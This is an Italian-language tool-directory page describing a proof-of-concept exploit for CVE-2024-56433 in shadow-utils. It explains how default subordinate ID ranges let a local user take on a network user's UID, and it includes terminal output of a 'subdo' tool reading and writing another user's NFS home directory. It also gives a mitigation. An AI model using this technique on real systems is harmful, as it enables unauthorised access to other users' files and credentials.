Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-56433 — Proof-of-concept exploit per CVE-2024-56433, che dimostra l'escalation dei privilegi tramite la collisione degli ID subordinati di shadow-utils per accedere ai dati di altri utenti. | Kitploit
Strumenti/GitHubGitHub/jonnywhatshisface/cve-2024-56433
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingRed Teaming
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

Proof-of-concept exploit per CVE-2024-56433, che dimostra l'escalation dei privilegi tramite la collisione degli ID subordinati di shadow-utils per accedere ai dati di altri utenti.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
1 anno faNon ancora revisionato

CVE-2024-56433

shadow-utils - Assegnazione predefinita non sicura degli ID subordinati per gli utenti locali

Riepilogo

L'assegnazione predefinita degli ID subordinati crea il rischio di collisione con gli ID utente esistenti, consentendo potenzialmente di modificare arbitrariamente UID/GID e ottenere accesso non autorizzato a dati e risorse di rete.

Versioni interessate

Pacchetto base: shadow-utils 4.4 - 4.17.0

Distribuzioni Linux interessate

Confermato su: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Tutte le versioni recenti delle distribuzioni che utilizzano shadow-utils 4.4 e successive.

Riferimenti

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

Dettagli

Shadow-utils ha iniziato a essere distribuito con una configurazione predefinita per delegare gli ID subordinati agli utenti locali.

root@kitploit:~
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

Quando nuovi utenti locali vengono aggiunti al sistema tramite uno qualsiasi degli strumenti shadow-utils (adduser, useradd e durante l'installazione del sistema), a ciascun utente viene assegnato un blocco univoco di 65.536 UID e GID, a partire da UID/GID 100000. Ad esempio, il seguente sistema ha due utenti locali aggiunti:

root@kitploit:~
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

La configurazione degli ID subordinati delega all'utente il diritto di utilizzo degli intervalli specificati in un namespace utente e viene utilizzata principalmente per la containerizzazione rootless. Tuttavia, gli strumenti di containerizzazione non sono necessari per entrare in un namespace e ciò può essere fatto tramite molteplici mezzi, incluso l'uso degli strumenti predefiniti di shadow-utils 'newuidmap' e 'newgidmap.' Ciò consente all'utente di cambiare arbitrariamente l'ID utente POSIX a qualsiasi ID all'interno dell'intervallo a lui delegato.

Esempio

Nell'esempio seguente, all'utente Jon - UID/GID 1000 - è stato delegato un intervallo di 65.536 UID/GID a partire da 100000. La rete ha altri ID configurati tramite LDAP per la gestione centralizzata degli utenti e l'accesso, con le home directory degli utenti di rete su NFS.

UID/GID 108372 appartiene all'utente di rete msteph.

Sfruttando l'allocazione predefinita degli UID/GID subordinati creata durante l'installazione, l'utente locale può passare all'ID dell'utente di rete e quindi ottenere accesso alla home directory NFS, leggendo e scrivendo file come quell'utente.

root@kitploit:~
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

Sebbene NFS sia stato utilizzato come esempio, questo si estende oltre il semplice accesso NFS. Le infrastrutture in cui le credenziali Kerberos possono essere memorizzate sul sistema locale diventano a rischio, poiché le credenziali potrebbero essere recuperate dal sistema locale e l'accesso ad altri servizi kerberizzati diventa possibile.

Mitigazione

Le voci SUB_ in /etc/login.defs dovrebbero essere rimosse. Qualsiasi voce in /etc/subuid e /etc/subgid che non sia prevista dovrebbe essere anch'essa rimossa.

POC

Il POC per cambiare UID/GID all'ID subordinato allocato desiderato è allegato come subdo.c e subdo.py

Il POC mappa l'ID interno ed esterno allo stesso ID, quindi esegue setuid() e setgid() su quell'ID all'interno del namespace, il che significa che tutti i comandi eseguiti nella shell all'interno del namespace vengono ora eseguiti con quell'uid/gid sull'host.

subdo.c

Consente l'esecuzione di qualsiasi comando e argomenti con l'UID/GID subordinato desiderato.

root@kitploit:~
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

Esegue /bin/bash con l'UID/GID subordinato desiderato.

root@kitploit:~
Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Scarica lo strumento